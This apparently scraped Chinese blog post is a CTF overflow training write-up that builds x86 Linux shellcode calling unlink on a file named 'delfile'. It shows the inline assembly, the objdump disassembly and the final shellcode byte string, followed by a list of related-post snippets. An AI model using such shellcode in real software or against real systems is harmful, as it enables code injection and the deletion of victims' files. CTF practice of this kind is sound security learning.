1. 程式人生 > >西普CTF訓練(溢位)

西普CTF訓練(溢位)

void  main()
{
asm(  
    "_start:\n\t"
         "jmp     test1\n\t"
         "test2:\n\t"
         "pop    %ebx\n\t"
         "movb    $0xa,%al\n\t"
         "int     $0x80\n\t"
         "movb    $0x1,%al\n\t"
         "xor     %ebx, %ebx\n\t"
        "int     $0x80\n\t"
     "test1:\n\t"
         "call    test2\n
\t" ".string \"delfile\""); }

使用gcc編譯shellcodeasm.c,再用objdump生成

**objdump -j .text -Sl shellcodeasm | more**
080483dc <main>:
main():
/home/gwen/Desktop/ntt.c:3
 80483dc:   55                      push   %ebp
 80483dd:   89 e5                   mov    %esp,%ebp

080483df <_start>:
/home/gwen
/Desktop/ntt.c:4 80483df: eb 0b jmp 80483ec <test1> 080483e1 <test2>: 80483e1: 5b pop %ebx 80483e2: b0 0a mov $0xa,%al 80483e4: cd 80 int $0x80 80483e6: b0 01 mov $0x1,%al 80483e8: 31
db xor %ebx,%ebx 80483ea: cd 80 int $0x80 080483ec <test1>: 80483ec: e8 f0 ff ff ff call 80483e1 <test2> 80483f1: 64 fs 80483f2: 65 gs 80483f3: 6c insb (%dx),%es:(%edi) 80483f4: 66 69 6c 65 00 5d c3 imul $0xc35d,0x0(%ebp,%eiz,2),%bp

找到對應的彙編程式碼,將code拼起來(00之前的code)即可:\xeb\x0b\x5b\xb0\x0a\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xf0\xff\xff\xff\x64\x65\x6c\x66\x69\x6c\x65

相關推薦

西CTF訓練溢位

void main() { asm( "_start:\n\t" "jmp test1\n\t" "test2:\n\t" "pop %ebx\n\t" "m

西CTF訓練programe部分分析

1、計算題 http://ctf8.simplexue.com/jia/ 頁面在不斷重新整理,要求在3秒內提交答案,手工是無法在短時間內完成的,可以通過程式計算並自動提交。 可通過js,也可通過py

西CTF部分題目解密

1、simple algorithm 題目地址:http://www.simplexue.com/ctf/examctfdetail/737 題目給了一個py指令碼和一個密文檔案,py指令碼將明文轉換為密文,現在需要將密文檔案中的密文解密得到明文。 加密演

西部分CTF題目逆向

1、阿拉丁神燈http://ctf1.simplexue.com/crack/1/ 這個比較簡單,用ida載入後,函式列表裡有Button1_click,點選進去後發現 這裡有個比較函式,應該是輸入的字串和[email protected]進行

C語言代碼訓練

color tro 題型 blank adding bsp 喜歡 add 方便 今天我們先來講解一道C語言的經典例題,也是從零開始系列中的一道課後練習題。 請用控制臺程序繪制如下圖案。 循環經典例題 分析情況 這個題目是要求打印30行"*",每行打印的個數不同。通過這

NLP之CRF分詞訓練

分鐘 -c data ++ del 控制 rdquo 進制 文本 分三步1、先分詞2、做BEMS標註,同時做詞性標註3、訓練模型 1、對語料進行分詞 拿到測試部的語料或者其他渠道的語料,先對語料進行分詞,我剛剛開始是用NS分詞的,等CRF模型訓練好後

8/11 TF聽力及閱讀訓練2

以及 練習 原理 最好的 什麽是 視頻 密度 並且 能夠 什麽是聽力訓練,什麽是訓練。 有一篇知乎的回答非常好,我很喜歡。 作者:梁躍鏈接:https://www.zhihu.com/question/20407472/answer/83390431來源:知乎著作權歸作者所

《C Primer Plus(第6版)(中文版)》拉達作者epub+mobi+azw3

內存 處理 參考資料 預處理 表達 字符 rime 系統 位操作 內容簡介 《C Primer Plus(第6版)中文版》詳細講解了C語言的基本概念和編程技巧。 《C Primer Plus(第6版)中文版》共17章。第1、2章介紹了C語言編程的預備知識

Ultimus 簽約西門子機械傳動天津有限公司

https://weibo.com/messages?topnav=1&wvr=6 Ultimus 簽約西門子機械傳動(天津)有限公司 2017年5月,西門子機械傳動(天津)有限公司簽約ULTIMUS。西門子機械傳動利用Ultimus BPM 平臺的靈活性,首先管理公司的售

CTF入門

4條 最新 sta mic 黑客攻防 隱寫 匯編 war 應用 ctf入門指南 如何入門?如何組隊? capture the flag 奪旗比賽 類型: Web密碼學pwn 程序的邏輯分析,漏洞利用windows、linux、小型機等misc 雜項,隱寫,數據還原,腦洞

Visual Studio AI 離線模型訓練Windows10

tensor 人工智能 文件夾 ima 結束 als ref 運行 註意事項 一、序 環境搭建:【查看】 在環境搭建過程中,通過git clone獲取到samples-for-ai文件夾,其子文件夾examples目錄如下。 以Tensorflow作為樣例模型。 參考博客

[51Nod]NOIP2018提高組省一沖獎班模測訓練翻車記+題解

problem ref sign 二分答案 def pointers 小時 https 奇怪 鏈接 下午5點的時候,突然想起來有這個比賽,看看還有一個小時,打算來AK一下,結果因為最近智商越來越低,翻車了,我還是太菜了。上來10分鐘先切掉了C和A,結果卡在了B題,唉。 A.

[51Nod]NOIP2018提高組省一沖獎班模測訓練 題解

但是 clas ref 構造 efi const .html 題意 矩形 鏈接 A.Anan的派對 題意:Anan想舉辦一個派對。Anan的朋友總共有 n 人。第i個人如果參加派對會得到 \(c_i\) 的快樂值,除他自己外每多一個人參加他會減少 \(d_i\) 的快樂值

NOIP2018提高組省一衝獎班模測訓練

NOIP2018提高組省一衝獎班模測訓練(五) http://www.51nod.com/Contest/ContestDescription.html#!#contestId=79   今天有點浪…… 第一題想了一個多小時想到了正解,然後敲到一半就去看lol總決賽了(恭喜IG!!!!!!)

NOIP2018提高組省一衝獎班模測訓練

比賽連結 https://www.51nod.com/contest/problemList.html#!contestId=72&randomCode=147206 這次考試的題非常有質量 這次考試暴露了非常多的問題,心理給自己設限,知識點不熟練等等問題。 只拿了暴力的分。  

清北學堂2018國慶訓練北京Contest 1

    在我意識到這幾天的學習很有必要寫一下解題報告的時候,實際上比賽已經進行5場了。現在來補一下,可能不會更新太快,但是我會盡可能去跟上進度。  Task 1:最小公倍數 【問題描述】     輸入n,求n與2469

演算法訓練

1.gym 101755A a=c⋅g,b=d⋅g,s=a+b=(c+d)⋅g 故若g%s==0且s>g則a=g,b=s−g顯然符合條件,否則無解 #include<cstdio> #include<iostream> #include<cstring&

演算法訓練

1.zoj-4026 首先我們需要推倒一下,每次都是從A開始拿,可以列舉幾種情況,會發現最後結束一定是在第四次抽到A的時候結束的,因為假設在第二堆結束,你在抽完4次2後第二堆才為空,你需要第五次抽到2才會回到第二堆,這時候才能結束,不符合題意,因此只有第一次就被抽的A能結束遊戲,因此結束的時候一定為A,因此

算法訓練

公式 mes 相加 求和 namespace 算法 出現 -- scan 1.zoj-4026 首先我們需要推倒一下,每次都是從A開始拿,可以列舉幾種情況,會發現最後結束一定是在第四次抽到A的時候結束的,因為假設在第二堆結束,你在抽完4次2後第二堆才為空,你需要第五次抽到2

算法訓練

ear set 二進制位 最短 lcm 相同 else for math 1.zoj-4049 簡單的進程模擬,大部分情況下可以直接出答案,當進入死循環的時候,不難發現,循環中所得值會出現重復,因此可視重復為死循環的標誌,使用一個bool數組進行標記即可,代碼如下: #i